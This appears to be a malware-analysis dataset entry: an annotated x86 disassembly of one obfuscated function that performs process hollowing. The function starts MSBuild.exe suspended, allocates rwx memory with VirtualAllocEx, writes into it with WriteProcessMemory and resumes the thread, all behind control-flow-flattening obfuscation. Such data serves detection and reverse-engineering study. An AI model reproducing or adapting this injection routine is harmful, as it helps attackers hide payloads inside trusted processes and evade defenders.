Function at 0x10002d20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xfc
mov eax, dword [0x1008ba00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x104], 0x9c576188
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x108], eax
sub eax, 0x81692c86
je 0x1000ae53
jmp 0x10002d5c
mov eax, dword [ebp - 0x108]
sub eax, 0x81f1a171
je 0x100089e7
jmp 0x10002d72
mov eax, dword [ebp - 0x108]
sub eax, 0x81f3c527
je 0x10006e17
jmp 0x10002d88
mov eax, dword [ebp - 0x108]
sub eax, 0x8219c1dd
je 0x1000854f
jmp 0x10002d9e
mov eax, dword [ebp - 0x108]
sub eax, 0x827cc315
je 0x10006313
jmp 0x10002db4
mov eax, dword [ebp - 0x108]
sub eax, 0x82c8720d
je 0x10005dbd
jmp 0x10002dca
mov eax, dword [ebp - 0x108]
sub eax, 0x8371f571
je 0x1000aa27
jmp 0x10002de0
mov eax, dword [ebp - 0x108]
sub eax, 0x839e5796
je 0x10006b9a
jmp 0x10002df6
mov eax, dword [ebp - 0x108]
sub eax, 0x83cde4be
je 0x10008637
jmp 0x10002e0c
mov eax, dword [ebp - 0x108]
sub eax, 0x83cf9cd2
je 0x10009f9a
jmp 0x10002e22
mov eax, dword [ebp - 0x108]
sub eax, 0x84dc2f7c
je 0x10007708
jmp 0x10002e38
mov eax, dword [ebp - 0x108]
sub eax, 0x84ed4022
je 0x10005b88
jmp 0x10002e4e
mov eax, dword [ebp - 0x108]
sub eax, 0x869a2750
je 0x10007019
jmp 0x10002e64
mov eax, dword [ebp - 0x108]
sub eax, 0x86bf30e5
je 0x10006113
jmp 0x10002e7a
mov eax, dword [ebp - 0x108]
sub eax, 0x87153c6a
je 0x1000afb7
jmp 0x10002e90
mov eax, dword [ebp - 0x108]
sub eax, 0x873a97ee
je 0x10008fda
jmp 0x10002ea6
mov eax, dword [ebp - 0x108]
sub eax, 0x886030a9
je 0x10006ef7
jmp 0x10002ebc
mov eax, dword [ebp - 0x108]
sub eax, 0x88e5536e
je 0x10007d3c
jmp 0x10002ed2
mov eax, dword [ebp - 0x108]
sub eax, 0x897e5604
je 0x1000ae72
jmp 0x10002ee8
mov eax, dword [ebp - 0x108]
sub eax, 0x89f82202
je 0x1000afe6
jmp 0x10002efe
mov eax, dword [ebp - 0x108]
sub eax, 0x8aaf5e73
je 0x10009636
jmp 0x10002f14
mov eax, dword [ebp - 0x108]
sub eax, 0x8adb07a0
je 0x100058b6
jmp 0x10002f2a
mov eax, dword [ebp - 0x108]
sub eax, 0x8af50fec
je 0x10008105
jmp 0x10002f40
mov eax, dword [ebp - 0x108]
sub eax, 0x8b11bd8a
je 0x1000b4ff
jmp 0x10002f56
mov eax, dword [ebp - 0x108]
sub eax, 0x8bf38d36
je 0x1000b21e
jmp 0x10002f6c
mov eax, dword [ebp - 0x108]
sub eax, 0x8c45c7af
je 0x1000932b
jmp 0x10002f82
mov eax, dword [ebp - 0x108]
sub eax, 0x8c57cff1
je 0x10006974
jmp 0x10002f98
mov eax, dword [ebp - 0x108]
sub eax, 0x8d1d68b6
je 0x1000a1a8
jmp 0x10002fae
mov eax, dword [ebp - 0x108]
sub eax, 0x8df64bb5
je 0x1000b109
jmp 0x10002fc4
mov eax, dword [ebp - 0x108]
sub eax, 0x8e09a05e
je 0x10006322
jmp 0x10002fda
mov eax, dword [ebp - 0x108]
sub eax, 0x8fbfcc91
je 0x100071dd
jmp 0x10002ff0
mov eax, dword [ebp - 0x108]
sub eax, 0x8fd75bba
je 0x10005a0e
jmp 0x10003006
mov eax, dword [ebp - 0x108]
sub eax, 0x904966a9
je 0x10009dab
jmp 0x1000301c
mov eax, dword [ebp - 0x108]
sub eax, 0x911b11e2
je 0x100094b7
jmp 0x10003032
mov eax, dword [ebp - 0x108]
sub eax, 0x91799f32
je 0x10009815
jmp 0x10003048
mov eax, dword [ebp - 0x108]
sub eax, 0x93346694
je 0x10008a06
jmp 0x1000305e
mov eax, dword [ebp - 0x108]
sub eax, 0x93681192
je 0x1000ae91
jmp 0x10003074
mov eax, dword [ebp - 0x108]
sub eax, 0x93c3cc3a
je 0x1000790a
jmp 0x1000308a
mov eax, dword [ebp - 0x108]
sub eax, 0x940a49c0
je 0x100055ee
jmp 0x100030a0
mov eax, dword [ebp - 0x108]
sub eax, 0x9455156e
je 0x10007822
jmp 0x100030b6
mov eax, dword [ebp - 0x108]
sub eax, 0x94f151ce
je 0x1000ad45
jmp 0x100030cc
mov eax, dword [ebp - 0x108]
sub eax, 0x9568c697
je 0x1000a6dd
jmp 0x100030e2
mov eax, dword [ebp - 0x108]
sub eax, 0x966c527b
je 0x10005c6c
jmp 0x100030f8
mov eax, dword [ebp - 0x108]
sub eax, 0x968d3186
je 0x10005ab8
jmp 0x1000310e
mov eax, dword [ebp - 0x108]
sub eax, 0x98c4aee9
je 0x1000b333
jmp 0x10003124
mov eax, dword [ebp - 0x108]
sub eax, 0x99ca174e
je 0x100066ad
jmp 0x1000313a
mov eax, dword [ebp - 0x108]
sub eax, 0x99ec9116
je 0x10008e74
jmp 0x10003150
mov eax, dword [ebp - 0x108]
sub eax, 0x9ae3115c
je 0x1000582f
jmp 0x10003166
mov eax, dword [ebp - 0x108]
sub eax, 0x9baf9425
je 0x1000aa45
jmp 0x1000317c
mov eax, dword [ebp - 0x108]
sub eax, 0x9c06035a
je 0x1000a60f
jmp 0x10003192
mov eax, dword [ebp - 0x108]
sub eax, 0x9c576188
je 0x1000535d
jmp 0x100031a8
mov eax, dword [ebp - 0x108]
sub eax, 0x9c89c8ee
je 0x100085aa
jmp 0x100031be
mov eax, dword [ebp - 0x108]
sub eax, 0x9d6a3353
je 0x1000a6bf
jmp 0x100031d4
mov eax, dword [ebp - 0x108]
sub eax, 0x9db4903b
je 0x1000b3fe
jmp 0x100031ea
mov eax, dword [ebp - 0x108]
sub eax, 0x9df5d597
je 0x10007056
jmp 0x10003200
mov eax, dword [ebp - 0x108]
sub eax, 0x9e986064
je 0x10008122
jmp 0x10003216
mov eax, dword [ebp - 0x108]
sub eax, 0x9ed9fcda
je 0x10006a10
jmp 0x1000322c
mov eax, dword [ebp - 0x108]
sub eax, 0x9f1ebfa4
je 0x1000916f
jmp 0x10003242
mov eax, dword [ebp - 0x108]
sub eax, 0x9f732515
je 0x1000a371
jmp 0x10003258
mov eax, dword [ebp - 0x108]
sub eax, 0xa0b87193
je 0x10009ab9
jmp 0x1000326e
mov eax, dword [ebp - 0x108]
sub eax, 0xa2440a71
je 0x100054cc
jmp 0x10003284
mov eax, dword [ebp - 0x108]
sub eax, 0xa37e2435
je 0x1000825b
jmp 0x1000329a
mov eax, dword [ebp - 0x108]
sub eax, 0xa3a1fa64
je 0x1000768b
jmp 0x100032b0
mov eax, dword [ebp - 0x108]
sub eax, 0xa42a14e7
je 0x1000b0db
jmp 0x100032c6
mov eax, dword [ebp - 0x108]
sub eax, 0xa43c2a94
je 0x1000ac9c
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xd0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x104], 0xcd5de5cf
jmp 0x1000b802
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xef05ff2b
mov ecx, 0x7d9ce675
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov eax, dword [0x1008cd28]
mov ecx, dword [0x1008cd24]
mov edx, eax
sub edx, 0x883893e6
sub edx, 1
add edx, 0x883893e6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe58e1bc7
mov ecx, 0x762fa236
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
movss xmm0, dword [0x10018210]
movss dword [ebp - 0xe0], xmm0
mov eax, dword [0x1008cd28]
mov ecx, dword [0x1008cd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x897e5604
mov ecx, 0xdf523e9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dl, 1
mov eax, 0x510f934d
mov ecx, 0xb13f3638
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov eax, dword [0x1008cd28]
mov ecx, dword [0x1008cd24]
mov edx, eax
sub edx, 0x24337472
sub edx, 1
add edx, 0x24337472
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2f79034
mov ecx, 0x908805d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dword [ebp - 0x104], 0x6c38b34
jmp 0x1000b802
mov eax, dword [0x1008cd28]
mov ecx, dword [0x1008cd24]
mov edx, eax
sub edx, 0x4f1d5ee4
sub edx, 1
add edx, 0x4f1d5ee4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54a75490
mov ecx, 0xf5118b7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x338997f0
mov ecx, 0x34ffaebc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
mov edx, ecx
add edx, 0x3c887169
sub edx, 1
sub edx, 0x3c887169
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe00dc570
mov ecx, 0xb13c6f63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dword [ebp - 0x104], 0x4f0b0e6d
jmp 0x1000b802
mov dword [ebp - 0x104], 0x8e09a05e
jmp 0x1000b802
movss xmm0, dword [0x10018370]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0x104], 0xcba09817
jmp 0x1000b802
mov dword [ebp - 0x104], 0x1508a7ac
jmp 0x1000b802
mov dword [ebp - 0x104], 0x5862ef1
jmp 0x1000b802
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
mov edx, ecx
add edx, 0x82cee604
sub edx, 1
sub edx, 0x82cee604
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8f40c04
mov ecx, 0x72864ac2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dl, 1
mov eax, 0x280bc562
mov ecx, 0xce75621c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
mov edx, ecx
add edx, 0xae5be907
sub edx, 1
sub edx, 0xae5be907
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52e13a2a
mov ecx, 0x79f744b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
movss xmm0, dword [0x100182dc]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x104], 0xe74f5d31
jmp 0x1000b802
movss xmm0, dword [0x100182d8]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x100182d4]
movss dword [ebp - 0xf0], xmm0
mov dl, 1
mov eax, 0x4dd91b66
mov ecx, 0x9df5d597
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
movss xmm0, dword [0x100182d0]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x104], 0x744c8513
jmp 0x1000b802
mov dword [ebp - 0x104], 0x9c9287b
jmp 0x1000b802
movss xmm0, dword [0x100182b0]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x100182ac]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x104], 0x33903350
jmp 0x1000b802
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8df64bb5
mov ecx, 0xeb68b49b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
movss xmm0, dword [0x10018294]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x104], 0xb38eb613
jmp 0x1000b802
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0xf4], xmm0
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc8a4f39f
mov ecx, 0xdfb71100
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dword [ebp - 0x104], 0x1d998ff3
jmp 0x1000b802
mov dl, 1
mov eax, 0x217d4ac5
mov ecx, 0x9e986064
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
movss xmm0, dword [0x10018268]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x104], 0x2ab55291
jmp 0x1000b802
movss xmm0, dword [0x1001825c]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10018258]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x104], 0xcff7b3e4
jmp 0x1000b802
mov dl, 1
mov eax, 0x9c89c8ee
mov ecx, 0xc94cb5cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
movss xmm0, dword [0x1001824c]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x104], 0xe02a1b79
jmp 0x1000b802
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
mov edx, ecx
sub edx, 0xebbd16c9
sub edx, 1
add edx, 0xebbd16c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce9bf412
mov ecx, 0xa757cf52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
movss xmm0, dword [0x10018238]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x104], 0x93346694
jmp 0x1000b802
mov dl, 1
mov eax, 0xe81b095
mov ecx, 0xd999024f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
movss xmm0, dword [0x10018194]
movss dword [ebp - 0xfc], xmm0
mov eax, dword [0x1008cd28]
mov ecx, dword [0x1008cd24]
mov edx, eax
add edx, 0x4f8decf
sub edx, 1
sub edx, 0x4f8decf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd8c0725
mov ecx, 0x48dbd5b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dword [ebp - 0x104], 0xd51aca93
jmp 0x1000b802
mov dword [ebp - 0x104], 0x1a8ee8d5
jmp 0x1000b802
mov cl, byte [ebp - 0x79]
and cl, 1
mov eax, dword [ebp - 0xc8]
mov byte [eax], cl
mov eax, dword [ebp - 0xc4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dl, byte [eax]
mov eax, 0x7e2037b3
mov ecx, 0xc20f0ab0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100026a0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x7879a67b
jmp 0x1000b802
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x104], 0x1cb2b239
jmp 0x1000b802
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
add ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
add ecx, 0xf38a61de
add ecx, 0x18
sub ecx, 0xf38a61de
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
sub ecx, 0x74ba5cb5
add ecx, eax
add ecx, 0x74ba5cb5
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov dword [eax], 0
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov ecx, dword [0x1008cd28]
mov eax, dword [0x1008cd24]
mov edx, ecx
sub edx, 0xd70bb1a6
sub edx, 1
add edx, 0xd70bb1a6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xced997e7
mov ecx, 0xd2cde654
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov eax, dword [0x1008cd28]
mov ecx, dword [0x1008cd24]
mov edx, eax
sub edx, 0xb4b7ec8a
sub edx, 1
add edx, 0xb4b7ec8a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc6b2f8eb
mov ecx, 0xcf30281a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dword [ebp - 0x104], 0x2a60afb1
jmp 0x1000b802
mov dword [ebp - 0x104], 0xdf626c46
jmp 0x1000b802
mov dword [ebp - 0x104], 0x6b70fb16
jmp 0x1000b802
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x2d], al
mov dword [ebp - 0x104], 0xfbd1911d
jmp 0x1000b802
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x8c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x88]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x1008cd28]
mov ecx, dword [0x1008cd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x619e2886
mov ecx, 0x3a22dabb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dword [ebp - 0x104], 0x550397b3
jmp 0x1000b802
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x104], 0xb208ba60
jmp 0x1000b802
mov dword [ebp - 0x104], 0x6e382516
jmp 0x1000b802
mov eax, dword [0x1008cd28]
mov ecx, dword [0x1008cd24]
mov edx, eax
add edx, 0xf23f8980
sub edx, 1
sub edx, 0xf23f8980
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd85156f3
mov ecx, 0xb2f3bf32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000b802
mov dword [ebp - 0x104], 0x58debd9f
jmp 0x1000b802
movss xmm0, dword [0x10018214]
movss dword [ebp - 0xe0], xmm0
mov dword [ebp - 0x104], 0x1db08a32
jmp 0x1000b802
movss xmm0, dword [0x10018210]
movss dword [ebp - 0xe0], xmm0
mov dword [ebp - 0x104], 0x9ae3115c
jmp 0x1000b802
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0xe0], xmm0
mov dword [ebp - 0x104], 0xcae8d655
jmp 0x1000b802
movss xmm0, dword [0x100181e8]
movss dword [ebp - 0xe4], xmm0
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0x104], 0xf180b47c
jmp 0x1000b802
mov dword [ebp - 0x104], 0xec773c23
jmp 0x1000b802
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x104], 0x1b2e2e77
jmp 0x1000b802
mov dword [ebp - 0x104], 0xeb68b49b
jmp 0x1000b802
movss xmm0, dword [0x100181ac]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x104], 0x15cfac0b
jmp 0x1000b802
movss xmm0, dword [0x10018190]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x104], 0xdac33bc4
jmp 0x1000b802
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x104], 0xa5ca999c
jmp 0x1000b802
mov ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov edx, dword [ebp - 0xa4]
imul edx, dword [edx], 0x28
add eax, edx
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xb4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xa4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x40716703
sub eax, edx
add eax, 0x40716703
add ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x13385507
jmp 0x1000b802
jmp 0x10002d40